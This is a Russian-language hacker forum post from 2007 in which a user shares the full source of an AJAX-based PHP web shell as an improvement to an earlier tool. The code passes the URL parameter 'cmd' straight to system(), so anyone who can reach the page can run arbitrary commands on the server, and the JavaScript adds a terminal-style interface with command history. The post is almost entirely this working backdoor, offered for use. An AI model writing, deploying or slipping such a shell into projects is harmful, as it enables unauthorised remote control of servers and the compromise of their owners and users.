
04.07.2007, 18:51
|
|
Постоянный
Регистрация: 19.06.2007
Сообщений: 315
Провел на форуме: 1174546
Репутация:
326
|
|
Предлагаю сделать еще небольшое дополнения :
выполнения шелл команд можно сделать на Ajax будут немного больше весить на 2 кб
но зато намного удобней выполнять команды !
Вот мой листинг на Ajax :
<?php
if (!empty($_GET['cmd']))system($_GET['cmd']);
else {
?>
<html><head><title>AJAX Shell</title>
<script type="text/javascript" language="javascript">
var CommHis=new Array();
var HisP;
function doReq(_1,_2,_3){var HR=false;
if(window.XMLHttpRequest){HR=new XMLHttpRequest();
if(HR.overrideMimeType){HR.overrideMimeType("text/xml");}}
else{if(window.ActiveXObject){
try{HR=new ActiveXObject("Msxml2.XMLHTTP");}
catch(e){try{HR=new ActiveXObject("Microsoft.XMLHTTP");}
catch(e){}}}}
if(!HR){return false;}
HR.onreadystatechange=function(){if(HR.readyState= =4){
if(HR.status==200){if(_3){eval(_2+"(HR.responseXML )");}
else{eval(_2+"(HR.responseText)");}}}};
HR.open("GET",_1,true);HR.send(null);}
function pR(rS){var _6=document.getElementById("outt");
var _7=rS.split("\n\n");
var _8=document.getElementById("cmd").value;
_6.appendChild(document.createTextNode(_8));
_6.appendChild(document.createElement("br"));
for(var _9 in _7){var _a=document.createElement("pre");
_a.style.display="inline";
line=document.createTextNode(_7[_9]);
_a.appendChild(line);_6.appendChild(_a);
_6.appendChild(document.createElement("br"));}
_6.appendChild(document.createTextNode("[ Shell ]:"));
_6.scrollTop=_6.scrollHeight;
document.getElementById("cmd").value="";}
function keyE(_b){switch(_b.keyCode){
case 13:
var _c=document.getElementById("cmd").value;
if(_c){CommHis[CommHis.length]=_c;
HisP=CommHis.length;
var _d=document.location.href+"?cmd="+escape(_c);
doReq(_d,"pR");}
break;
case 38:
if(HisP>0){HisP--;
document.getElementById("cmd").value=CommHis[HisP];}
break;
case 40:
if(HisP<CommHis.length-1){HisP++;
document.getElementById("cmd").value=CommHis[HisP];}
break;
default:
break;}}
</script></head><body style="font-family:courier" bgcolor=#333333>
<form onsubmit="return false" style="color:#3F0;background:#000;position:relativ e">
<div id="outt" style="overflow:auto;padding:5px;height:90%">[ Shell ]:</div>
<input onkeyup="keyE(event)" style="color:#FFF;background:#333;width:100%" id="cmd" type="text" />
</form></body></html>
<?php } ?>
|
|
|